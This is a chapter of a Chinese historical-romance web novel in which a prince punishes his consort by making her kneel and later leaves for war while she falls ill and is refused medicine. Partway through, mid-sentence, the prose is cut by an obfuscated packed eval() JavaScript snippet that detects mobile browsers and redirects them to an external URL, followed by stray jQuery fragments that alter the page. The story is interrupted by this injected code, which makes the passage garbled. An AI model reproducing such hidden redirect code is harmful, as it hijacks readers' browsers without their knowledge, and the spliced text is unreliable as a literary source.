闻灼先是去了书房处理政务,不到两刻钟后,又返回正殿。
他路过庭院,佯装很不经意向不远处跪着的扶楹扫去一眼。
她脊背依旧挺直,长长的脖颈如天鹅一般昂立,可由于天气寒冷,凉风四起,纤弱的身形一直在不住发抖。
闻灼看不出任何感情地收回目光,迈入正殿后,行至案前落座。
韦昱立奉上一杯热茶,他一边阅读兵书,一边啜饮。
扶楹在他目光范围之内,对他并非毫无影响。
茶汤尚且冒着热气,透过一片水雾,闻灼抬起眼睫,静静瞧着跪在院中的身影。
为什么会有人被罚跪时,面无表情,一脸平和与淡然,甚至瞧不出一丝委屈与不甘。
闻灼想着想着,脑海中却顿时敲响一记警钟。
渝州战事在即,不出几日便要率军出征,他需尽快拟出作战排兵布阵计划,不应再如此三心二意。
闻灼垂下眼眸,接着翻阅着兵书。
他大约看了一盏茶工夫,总是无法做到心无旁骛,会时不时用眼角余光瞥向殿外,也会盯着出神片刻。
扶楹跪了许久,感到有些困倦,身子不由得剧烈一晃,险些倒地,幸好骤然转醒,才悠悠立定了身形。
这微晃一下,闻灼以为她又要晕厥在地,连忙将书拍在案面,身体急迫前倾,欲要起身。
见扶楹无碍,他便当作什么都未发生似的,翻动起书页来。
罚跪的这一段时间,扶楹平静淡然,甚至昏昏欲睡,除了感到很冷,并未见受到任何折磨。
闻灼却一直心绪不宁,如坐针毡,度日如年,连书都阅读不进去,一点点风吹草动,在他耳里皆风声鹤唳。
与其说他罚扶楹,还不如说是罚他自己。
“……”
想到这里,闻灼心中猛然一震。
这段时日,他那坚硬冷酷的内心,在不知不觉中,深深扎进一个纤弱明媚的身影,坚定不移。
她看似怯懦,弱不禁风,偶尔见利忘义,胆大妄为。
只有他知晓,在这“不堪”表象之下,实则是生满锋芒的善良,满腹诗书的才华,以及,坚韧有力的内心。
闻灼虽薄情冷血,可当年那位如镜花水月般的清冷女子,教会了他心动是何感觉。
他当下心底的情愫,与彼时的悸动全无二致。
扶楹早已成为他不可缺失的一部分,时刻牵绊着他的思绪。
他心甚悦,却又隐隐感到惧怕。
如此一来,他内心便不再是铜墙铁壁,坚不可摧,而是有了一片柔软的、单单属于她的地方。
以至于他迫不得已惩罚她的不端行为,却始终在担心她的身体……
罢了,既然体罚是做给府内众人看的,闻灼也没必要违心让她再跪更久。
他一手合上书卷,喊道:“望舒。”
望舒上前俯身行礼:“王爷,属下在。”
“楹儿身体抱恙,几欲昏倒,你且送她回芙蓉阁。”
望舒回想着方才殿外的画面,眼珠不由得一转,心中极其费解。
夫人跪得好好的,哪里像是会昏倒的样子,王爷这不是在无中生有吗?
身后的韦昱立见望舒愣着不动,无奈地摇头,迈步上前,不悦地催促道:“王爷有令,大人快去罢!”
说罢,他还拼命向望舒使了个眼色。
“遵命!”
望舒会意,赶忙出了前殿,和扶楹说了几句话后,直接背起她回了芙蓉阁。
后方的徐绾看到这一切,不由得皱了皱眉。
夫人犯错受到罚跪,时长虽由闻灼而定,可才不到半个时辰,如此不痛不痒,还能算作是体罚吗?
“徐姑姑。”
闻灼的声音将徐绾注意力唤回到他身上,故低身附耳过来,“王爷请讲。”
“本王午后便要入宫统领北衙禁军,此次平定渝州短则一月,长则一季。”
“在此期间需过冬,楹儿未必适应长安冬季,若染风寒或其他疾病,你与云裳需多加关注照拂,务必要让她在芙蓉阁静养,减少出行。”
徐绾点点头,恭敬答道:“奴婢知道了。”
这许久见不到扶楹,闻灼心中很是不快,将一切叮嘱完后,才稍稍安心。
前日,北狄刺客来袭,她不甚在大庭广众之下失了分寸,这让他很是为难。
王府之内,从来不单只有他的势力。
前不久,他在太后与淑妃齐齐施压下,娶进一个萧云裳来。此人背景错综复杂,后方深不可测,让他感到处理此事无比棘手。
当初,闻灼在上奏皇上愿求娶扶楹时,便受到皇上颇多疑虑。他再三保证扶楹不再与北狄有任何瓜葛,皇上这才应允自己将她迎娶入府。
如今,扶楹一举一动可能皆在监视之下。若被人抓了把柄,再被加诸暗通北狄的莫须有罪名,她定然凶多吉少。
故而,闻灼才让她去亲手挖出刺客的心脏,以表忠心。
他知她作为一介弱势女子根本无法下手,便派了云川前去。
云川心思活络,得令之后便明白闻灼本意绝非让他前去护卫如此简单。
云川替扶楹挖心,闻灼再重罚云川,主仆二人一通配合行云流水,将扶楹所犯的错误清洗磨灭。
云川与闻灼一同长大,侠肝义胆,对他忠心耿耿,绝不会因此事生出二心。
至于扶楹……
闻灼得知她将自己视作恩人,甚是受宠若惊。
只是她今日私自前来探望云川,完全超出他预料之外。
但愿她不会因他今日的体罚,从此记恨上他。
——
十月十四,已至小雪,长安城入了冬季。
冷冽的寒气浸润着天地,大风萧条,吹过满地光秃树杈时,发出鞭刃抽打般的凄厉声响。
“咳咳——”
连续不断的咳嗽声从床榻出传来,一阵深重的呼吸,昭示了一副抱恙身体的诸多不适。
“夫人,你还好吗?”
碧落坐在床边,眉头紧锁,忧心忡忡地看向包裹在厚厚棉被中的扶楹,“为什么服了药还不见效果呢……”
扶楹闭目歇息着,头昏脑胀,唇色发白,方才的那阵剧烈咳嗽将她脸颊涨得通红。
缓了一阵子,她才睁开因大咳闪烁着泪意的双眼,神色倦怠。
月初,燕郡王闻铳占据渝州造反,皇上派闻灼率军前往,平定叛乱。
前一年冬月,扶楹无法承受父亲扶昭行遇刺被害的巨大打击,身心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286491|194236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俱损,落下了体质偏弱畏寒的病根。
闻灼在出征前夕,曾责罚她跪地半个时辰。
那日寒风料峭,她没了披风,还无比执拗,不肯求饶。果不其然,不出数日她便染上了风寒,鼻塞流涕,咳得整夜难眠,几日下来,整个人精神都萎靡了不少。
今日这场前所未有的大降温中,她未能扛过寒流,体温开始异常迅速地升高。
三日前,清瑶母亲意外去世,悲痛欲绝,哭泣不止。扶楹心软,便准许她返乡发丧。
云川前些日子遭受重刑,元气大伤,整日在屋内榻上养伤,无法出门。
从前雅致惬意的芙蓉阁,自入冬之后变得清冷无比,唯有扶楹与碧落二人相互依靠。
碧落垂头叹息道:“药箱里的草药快用完了……”
扶楹双眼迷离无神,吃力抬手掀开被子,有些难以忍受身体上的病痛。
“不急,我写一张方子,你去药房寻阮郎中,将药煎好了带回来,能剩下诸多时间……”
碧落扶住她滚烫的身体,“奴婢扶您起来,小心些。”
扶楹被冻得浑身战栗,执笔书写时,几次将字写得不成型,只能涂抹后重新再写,直至尚能辨认。
“去吧……”
她将方子递给碧落后,一刻不停地钻进被子,好似一条搁浅的鱼,迫不及待回到流水之中。
碧落拿了方子,披了件绒袄匆匆离开了。
芙蓉阁瞬间静了下来,落针可闻。
扶楹将脸与耳朵蒙在被子下裹紧,不愿自己的皮肤接触到一丝空气。
不正常的体温散发着熊熊热意,她仿佛置身于一个巨大的熔炉之中,那热量仿佛要将她灼烧为灰烬。
可她必须忍受这一切,只要发了汗,体温便不会再升高了。
扶楹浅浅呼吸着,忍受着剧烈的头晕目眩,不知不觉睡了过去。
……
不知过了多久。
“夫人……”
“夫人,醒醒。”
一个熟悉的呼唤声中,扶楹努力抬起厚重的眼皮,浓密的睫毛在带有冷意的空气中颤动几下。
碧落焦急而难过的脸出现在她眼前。
她泪意闪烁,委屈说道:“夫人,奴婢去找阮郎中,他说近日大夫人卧病在榻,甚是严重,每日需用去不少草药。夫人方子中麻黄、紫苏与防风全部用空,奴仆们也未能及时采买。奴婢实在无能……”
扶楹微叹了口气,轻声发问:“那你去寻大夫人了吗?府内事务皆由她掌管。”
“奴婢去了。”
碧落想起方才的遭遇,既委屈又难过,声音颤抖,险些哭了出来。
“银竹拦了奴婢在门外,说大夫人身体不适,不宜召见。奴婢说您病重不起,高烧不退,银竹却……”
她看着扶楹琥珀色的清澈瞳仁,还是咬咬牙,接着说道:“银竹却说,夫人平日那般气盛,连王爷都敢冒犯,实在不像是柔弱之人。”
“大夫人其他仆从也在质疑,夫人派奴婢前来目的不纯,是否有意占用大夫人的药方,要拖着大夫人不得痊愈……”
“奴婢一人拗不过他们一群,被毫不客气轰出了听雨轩。”
扶楹听罢,心底一阵寒意弥漫,重重阖上了双眼。